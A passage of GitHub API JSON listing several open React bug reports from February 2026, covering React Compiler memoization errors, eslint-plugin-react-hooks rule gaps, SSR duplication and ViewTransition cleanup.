"https://api.github.com/repos/facebook/react/issues/35938/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35910", "id": 3994962368, "node_id": "I_kwDOAJy2Ks7uHknA", "number": 35910, "title": "[DevTools Bug]: react-hooks/set-state-in-effect misses setState in useEffect for anonymous component callbacks passed to HOFs", "user": { "login": "maltesa", "id": 4067078, "node_id": "MDQ6VXNlcjQwNjcwNzg=", "avatar_url": "https://avatars.githubusercontent.com/u/4067078?v=4", "gravatar_id": "", "url": "https://api.github.com/users/maltesa", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2026-02-26T11:25:00Z", "updated_at": "2026-03-03T11:37:43Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://codesandbox.io/p/sandbox/github/codesandbox/sandbox-templates/tree/main/nextjs\n\n### Repro steps\n\n### Current behavior\n\n`react-hooks/set-state-in-effect` reports `setState` in a normal component's `useEffect`, but misses the same pattern when the component is an anonymous callback passed to a higher-order function.\n\n```ts\n// app/ComponentToCheck.ts\n\nimport { useEffect, useState } from 'react'\n\nconst wrap = (value) => value\n\nexport function DirectComponent() {\n const [value, setValue] = useState(0)\n\n useEffect(() => {\n // Direct\n setValue(1)\n }, [])\n\n return
{value}
\n}\n\nexport const WrappedAnonymousComponent = wrap(() => {\n const [value, setValue] = useState(0)\n\n useEffect(() => {\n // in HOC\n setValue(1)\n }, [])\n\n return
{value}
\n})\n```\n\nRunning `pnpm eslint app/ComponentToCheck.ts` finds only the use of `setValue` in the `useEffect` of `DirectComponent`:\n```\nâžœ workspace git:(main) ✗ pnpm eslint app/ComponentToCheck.ts\n\n> [email protected] eslint /project/workspace\n> eslint \"app/ComponentToCheck.ts\"\n\n\n/project/workspace/app/ComponentToCheck.ts\n 10:5 error Error: Calling setState synchronously within an effect can trigger cascading renders\n\nEffects are intended to synchronize state between React and external systems such as manually updating the DOM, state management libraries, or other platform APIs. In general, the body of an effect should do one or both of the following:\n* Update external systems with the latest state from React.\n* Subscribe for updates from some external system, calling setState in a callback function when external state changes.\n\nCalling setState synchronously within an effect body causes cascading renders that can hurt performance, and is not recommended. (https://react.dev/learn/you-might-not-need-an-effect).\n\n/project/workspace/app/ComponentToCheck.ts:10:5\n 8 | useEffect(() => {\n 9 | // Direct\n> 10 | setValue(1)\n | ^^^^^^^^ Avoid calling setState() directly within an effect\n 11 | }, [])\n 12 |\n 13 | return
{value}
react-hooks/set-state-in-effect\n\n✖ 1 problem (1 error, 0 warnings)\n\n ELIFECYCLE  Command failed with exit code 1.\n```\n\n### Expected behavior\nRunning `pnpm eslint app/ComponentToCheck.ts` should also detect the use of `setValue` in the `useEffect` within the `WrappedAnonymousComponent`.\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n```text\n\n```\n\n### Error component stack (automated)\n\n```text\n\n```\n\n### GitHub query string (automated)\n\n```text\n\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35910/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35903", "id": 3990398773, "node_id": "I_kwDOAJy2Ks7t2Kc1", "number": 35903, "title": "[Compiler Bug]: constant gets memoized with a wrong dependency", "user": { "login": "TimVee", "id": 70507163, "node_id": "MDQ6VXNlcjcwNTA3MTYz", "avatar_url": "https://avatars.githubusercontent.com/u/70507163?v=4", "gravatar_id": "", "url": "https://api.github.com/users/TimVee", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-02-25T16:18:31Z", "updated_at": "2026-02-26T16:19:12Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAIgIY4IDCEAtgA6EKY4AUwRAJhQkQL4BKIsAA6xInEJgcRNBBi0KlGEQC8RTAgDuRAJIsANgDpylACp5aCAGLzFbAOTMAtAFUAyg4EBuMWKJEMAg4sMSs-gFEADz4Vlw8sQiqwNyURjgQuu4A8u44MHiYAOasAnwAfBGRwnIKSggwRrX2rKkIZVXRAPSJleI+YnwgADQgkphoeEUoIJaMMDI4AJ70vBwACgZQRYXZ9PhS-LIwdEQOAEZk5wgGzvRbO5jOQWS4zpIMeAYNXZx40g5fJgxOwIl0uh96F8KARMABZCCcBDIIgiEBkAwGNGDIhgGFgSYIMBETbbXb7WFgHwjcAACwgWn0ykwGLAKDQrIQfCAA\n\n### Repro steps\n\nGiven this example:\n\n```tsx\nfunction DateComponent({ date }) {\n const formatter = new Intl.DateTimeFormat('en-US');\n\n return (\n \n );\n}\n```\n\ngets compiled to:\n\n```typescript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction DateComponent(t0) {\n const $ = _c(6);\n const { date } = t0;\n let t1;\n let t2;\n if ($[0] !== date) {\n const formatter = new Intl.DateTimeFormat(\"en-US\");\n t1 = date.toISOString();\n t2 = formatter.format(date);\n $[0] = date;\n $[1] = t1;\n $[2] = t2;\n } else {\n t1 = $[1];\n t2 = $[2];\n }\n let t3;\n if ($[3] !== t1 || $[4] !== t2) {\n t3 = ;\n $[3] = t1;\n $[4] = t2;\n $[5] = t3;\n } else {\n t3 = $[5];\n }\n return t3;\n}\n\n```\n\n`const formatter = new Intl.DateTimeFormat(\"en-US\");` incorrectly gets `date` as a dependency, despite not relying on it, leading to it being recreated too often. In the case of `Intl.DateTimeFormat`, [mdn specifically recommends creating it once and re-using it](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleString#:~:text=it%20is%20better%20to%20create%20an%20Intl.DateTimeFormat%20object%20and%20use%20its%20format()%20method%2C%20because%20a%20DateTimeFormat%20object%20remembers%20the%20arguments%20passed%20to%20it%20and%20may%20decide%20to%20cache%20a%20slice%20of%20the%20database%2C%20so%20future%20format%20calls%20can%20search%20for%20localization%20strings%20within%20a%20more%20constrained%20context.).\n\nWhen wrapping it with `useMemo(() =>`, it correctly gets memoized on its own.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nThe one in the playground\n\n### What version of React Compiler are you using?\n\nThe one in the playground", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35903/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35902", "id": 3990080561, "node_id": "I_kwDOAJy2Ks7t08wx", "number": 35902, "title": "[Compiler Bug]: false negative, compiler skips memoizing a variable that should be memoized", "user": { "login": "sharabai", "id": 105950333, "node_id": "U_kgDOBlCsfQ", "avatar_url": "https://avatars.githubusercontent.com/u/105950333?v=4", "gravatar_id": "", "url": "https://api.github.com/users/sharabai", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-02-25T15:18:31Z", "updated_at": "2026-02-25T15:30:09Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAogB4AOCmYeAbggMIQC2Fh1OAFMEQCYBDHAIA0RQowA2eOAGsiAXwCURYAB1iROITA4iFGBERgwCPgBEhAogF4iCStVoMACoeO1MAcy6DhSgG4NDSItHT0ACwFMPkkmaTlbIi48HAQWFRsAPlUQ0PFMKRlZFLSWADo8PkC8hSDMPJgEHFhiLjzQgB4+eiyO-OADIwQTM0thcpYBClL02xz2zXz8zoBJMqJZBABPG2BU9Mq+BQKiuT2uTJyomLizkoOMk4B6PqX8pSUFfs7nnro3qEapgFCARCBtJg0HgvCgQHg2BAYHocNsqKoiC5JFAvHhMAB5Cj4HSKIhoQwsIgAcgARgIaQhJABaCjY3GYJlNAS4JnaNh4OIwP54XRU+oaHh5Z7PPkUAVCAiYACyED4CGQRDUIAEkkkWo0JzACrA0JGmLZeMJxJogTB4AiEAA7qtMGkYJgdWAUGhPQgFEA\n\n### Repro steps\n\nOpen the example from [React Compiler introduction ](https://react.dev/learn/react-compiler/introduction#after-react-compiler), which is linked by [See this example in the React Compiler Playground](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAogB4AOCmYeAbggMIQC2Fh1OAFMEQCYBDHAIA0RQowA2eOAGsiAXwCURYAB1iROITA4iFGBERgwCPgBEhAogF4iCStVoMACoeO1MAcy6DhSgG4NDSItHT0ACwFMPkkmaTlbIi48HAQWFRsAPlUQ0PFMKRlZFLSWADo8PkC8hSDMPJgEHFhiLjzQgB4+eiyO-OADIwQTM0thcpYBClL02xz2zXz8zoBJMqJZBABPG2BU9Mq+BQKiuT2uTJyomLizkoOMk4B6PqX8pSUFfs7nnro3qEapgFCAFEA)\n\nThe example Component itself expects props with two properties: `function ExpensiveComponent({ data, onClick })`\nThis example from React Compiler docs doesn't memoize the first line in its body `const processedData = expensiveProcessing(data);`\n\nIf you look closely at the compiled output, the compiled version would recalculate that line each time when `onClick` is changed, even though `data` is the same.\n\nIf we manually add `useMemo` as it was in the original example from React Compiler introduction, compiler starts memoizing it, as you can see [here](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAogB4AOCmYeAbggMIQC2Fh1OAFMEQCYBDHAIA0RQowA2eOAGsiAXwCURYAB1iROITA4iFGBERgwCPgBEhAogF4iUUwFkELCFy4qbAPlUai-ohgEHFhiBEpqWgYABUNjWkwAcy5BYSUAbj9FMQBtVIEAXQyNEs1tGj0ACwFMPkkmaTlbIi48HBdPH3VNfwlG2Vb2lgA6PD5izQVMzCygkJhiLiz-AB4+ei9lgOADIwQTM0thYZYBCkGXWx8lnoDVgEkholkEAE8bYDaXUb4FcUwpDJZB8PFciNVavVAXILiwlH8APSbW7+JTwrYrBHrOjI1HTBQgEQgcpoPCJFAgPBsCAwPQ4V5UVREaKSKCJPCYADyFHwOkURDQhhYRAA5AAjARihCSAC0FFZ7MwMqCAlwMu0bDw9RgWLwuhF0w0PCyCIRGooWqEBEwjggfAQyCIahAAkkkmdGj+YCtYFJ+2ZCo53N5NAyhPAlQgAHd7ph2gtXWAUGhEwgFEA).\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.3 probably, it's whatever version is in Playground\n\n### What version of React Compiler are you using?\n\n0.0.0-experimental-334f00b-20240725 probably, it's whatever version is in Playground", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35902/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35897", "id": 3986003532, "node_id": "I_kwDOAJy2Ks7tlZZM", "number": 35897, "title": "[Compiler Bug]: eslint-plugin-react-hooks breaks the VS Code ESLint extension", "user": { "login": "simarmol", "id": 9138378, "node_id": "MDQ6VXNlcjkxMzgzNzg=", "avatar_url": "https://avatars.githubusercontent.com/u/9138378?v=4", "gravatar_id": "", "url": "https://api.github.com/users/simarmol", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-02-24T21:52:23Z", "updated_at": "2026-02-26T16:18:22Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/simarmol/eslint-plugin-react-hooks-repro\n\n### Repro steps\n\nThe latest version of `eslint-plugin-react-hooks` does not show a code/identity for any errors in the VS Code Problem Pane, only the codes. This can be seen by having an error in a file for `eslint-plugin-react-hooks`, having the [ESLint](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) extension installed and opening a file with issues, then viewing the problem pane,\n\nIn the repro repo I have linked I have copied the examples of the violations from the [react docs](https://react.dev/reference/eslint-plugin-react-hooks) into one file and set up a basic eslint config.\n\n- Open the repo with VS Code\n- Install the [ESLint](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) extension\n- run `yarn` or package manager of choice to install dependencies\n- Open `index.jsx`\n- Open problem view in VS Code (In the Command Palette :Focus on Problems View)\n- See 1 ESlint error in the pane - with the Code field missing \n- Run `npx eslint`\n- See ✖ 36 problems (31 errors, 5 warnings)\n\n\nThe issue I originally wanted to report was the missing 'Code' field for most of the hooks rules in the VS Code pane, but when I made the repro I found it barely seems to work at all with the hooks ruleset, and indeed they seem to break linting functionality for other rules in the same file in VS Code's ESLint extension.\n\nTo show that it is the hooks plugin causing the issue:\n- Comment out line 10 in the repro's `eslint.config.mjs`\n- Open the problem pane\n- See the React/* plugin rule violations working properly\n\nI'm unsure if this is an issue with the formatting of the rule output on your end or a bug with the ESLint extension. \n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.0.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35897/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35889", "id": 3980978415, "node_id": "I_kwDOAJy2Ks7tSOjv", "number": 35889, "title": "Bug: `` in RSC gets duplicated in SSR html", "user": { "login": "hi-ogawa", "id": 4232207, "node_id": "MDQ6VXNlcjQyMzIyMDc=", "avatar_url": "https://avatars.githubusercontent.com/u/4232207?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hi-ogawa", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 710332294, "node_id": "MDU6TGFiZWw3MTAzMzIyOTQ=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Server%20Rendering", "name": "Component: Server Rendering", "color": "d4c5f9", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-02-24T01:28:58Z", "updated_at": "2026-02-24T18:46:16Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: since 19.2.0 \n\n## Steps To Reproduce\n\nCreated a PR with a test case as a reproduction in https://github.com/facebook/react/pull/35890\n\nInitially reported on Waku https://github.com/wakujs/waku/issues/1964#issuecomment-3948147703. It doesn't reproduce on 19.1. It reproduces from 19.2 and latest canary.\n\n## The current behavior\n\n`` appears twice in SSR html\n\n\n## The expected behavior\n\n`` appears once in SSR html\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35889/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35892 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35868", "id": 3977109554, "node_id": "I_kwDOAJy2Ks7tDeAy", "number": 35868, "title": "[Compiler Bug]: React Compiler does not compile module-level 'use memo' but compiles function-level 'use memo'", "user": { "login": "tryasko", "id": 681362, "node_id": "MDQ6VXNlcjY4MTM2Mg==", "avatar_url": "https://avatars.githubusercontent.com/u/681362?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tryasko", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-02-23T09:12:31Z", "updated_at": "2026-02-26T10:31:06Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://github.com/tryasko/test-react-compiler\n\n### Repro steps\n\n## Description\n\nReact Compiler compiles a component when `'use memo'` is placed inside the function body, but does NOT compile the same component when `'use memo'` is placed at the module level.\n\nAccording to the documentation, module-level directives should apply to all functions in the file:\n\nhttps://react.dev/reference/react-compiler/directives\n\n> \"Place directives at the top of a file to affect all functions in that module.\"\n\nHowever, in my setup, only function-level directives trigger compilation, while module-level directives are ignored.\n\n## Steps to reproduce\n\n1. Clone the repository: https://github.com/tryasko/test-react-compiler\n2. Install dependencies: `npm i`\n3. Run the compiler: `npm start`\n4. Inspect the generated files in the `output` directory.\n\n## Compilation result\n\n| Component file | Directive level | Compilation | Expected result |\n|------------------|-----------------|------------------|-----------------|\n| component-a.jsx | no directive | Not compiled | ✅ Expected |\n| component-b.jsx | function-level | Compiled | ✅ Expected |\n| component-c.jsx | module-level | Not compiled | ❌ Not expected |\n\n## Expected behavior\n\nReact Compiler should compile components when `'use memo'` is placed at the module level, the same way it does when the directive is placed at the function level.\n\nSpecifically, the output for `component-c.jsx` should include React Compiler transformations, such as:\n\n```js\nimport { c as _c } from \"react/compiler-runtime\";\n```\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35868/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35870 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35855", "id": 3972294161, "node_id": "I_kwDOAJy2Ks7sxGYR", "number": 35855, "title": "Bug: ViewTransition onExit cleanup not called on unmount", "user": { "login": "rickhanlonii", "id": 2440089, "node_id": "MDQ6VXNlcjI0NDAwODk=", "avatar_url": "https://avatars.githubusercontent.com/u/2440089?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rickhanlonii", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-02-21T16:18:35Z", "updated_at": "2026-03-03T18:45:28Z", "closed_at": null, "assignee": null, "author_association": "MEMBER", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Noticed this while writing docs:\n\n```js\n {\n const anim = instance.new.animate(/* ... */);\n return () => {\n anim.cancel();\n };\n }}\n onExit={(instance) => {\n const anim = instance.new.animate(/* ... */);\n return () => {\n anim.cancel();\n };\n }}\n>\n {/* ... */} \n\n```\n\nIf you have a pending`onEnter` animation and the tree is unmounted, the `onEnter` cleanup is called immediately.\n\nBut if you have a pending `onExit` and the tree is unmounted, the `onExit` cleanup isn't called until the animation completes.\n\nThis means you can't cancel the animation:\n\nhttps://github.com/user-attachments/assets/f522f746-5ed3-432f-acbf-d610ab4260d2\n\nSandbox: https://codesandbox.io/p/sandbox/naughty-wu-pfkh2m\n\n\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35855/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35950 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35854", "id": 3971986416, "node_id": "I_kwDOAJy2Ks7sv7Pw", "number": 35854, "title": "[Compiler Bug]: NaN in dependency list of useMemo always causes re-evaluation", "user": { "login": "jugglingcats", "id": 526349, "node_id": "MDQ6VXNlcjUyNjM0OQ==", "avatar_url": "https://avatars.githubusercontent.com/u/526349?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jugglingcats", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2026-02-21T12:59:05Z", "updated_at": "2026-02-23T08:41:31Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEASggIZx4A0BwBUYCJAZtfQgMp6l4IEC+BJjAgYCAchhkKYgDoA7eUyhyKaCHIIZSAawQB9GKTkATEQAoAlDXkFbBSXlgaAstwAWAOkMnzF+X3l5BAAPHHwCYwQmUigAG0IlFTw1FwBPAEEsLEtrDTsAenyCMEwsWN4wLh4CPAgCOBiGewQAWkkTBBgbOzh1SoIAbUruBGoGPE4RgF0CAF5iKTwPNkmeMwAGPwU820KagjQwAlJYgHdSVKOAOVIr4rQVCqreE-PLggA+efXu2165fqEebDapfAjrAgAfgINzuyHBgR2BD26liqUEaEkR3UiAIpzQeDc0EIvWwaHKXSR-36ADc5gtyEs2M4EBgIGYcrMPrk7LzkUVXhcjgBzBByTojI7i072IymURyKAYABGnQIvz5DicBzAsLMeCs0K0ugMct8BHhPyRfGoAzwUy2iN5e3xhPqIiw5LVYtIyvKxmodMOdCwxhGxgI6gIUjc9ViaDg2g1WpgGgAPMY0HT1ABheOJ2bATnc8arBBmOBzblwADUAEYLHwPgAJBCxWJ1ADquFixnhwBpAiKwBBCD4afymZpHwA3P55CBKCB-kw0MKUOhsLhCHhUlheLQAAqxKDCh4AeSwyT6-EEwlEYmVvrbLTKp4ebUWLVJnopk8OeBiHO2xmMA3SFD+5LcCkzgQJE8IyCAJyxIh-jFNBYCrggRzHu+ciXteAIWDOi7gESpwAJJyDwqYnGAKDRLEDB8EAA\n\n### Repro steps\n\nSee playground link. Click on the div to increment the counter and see that the memoised value changes even though the single dependency is always `NaN`.\n\nThe example is obviously contrived and perhaps you consider having NaN in a dependency list not valid/supported. However useMemo without the compiler handles this case and does not re-evaluate. This caused a subtle bug in my app when enabling the compiler.\n\nApologies if this is a duplicate, I looked but could not find similar.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.4\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35854/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35821", "id": 3959830413, "node_id": 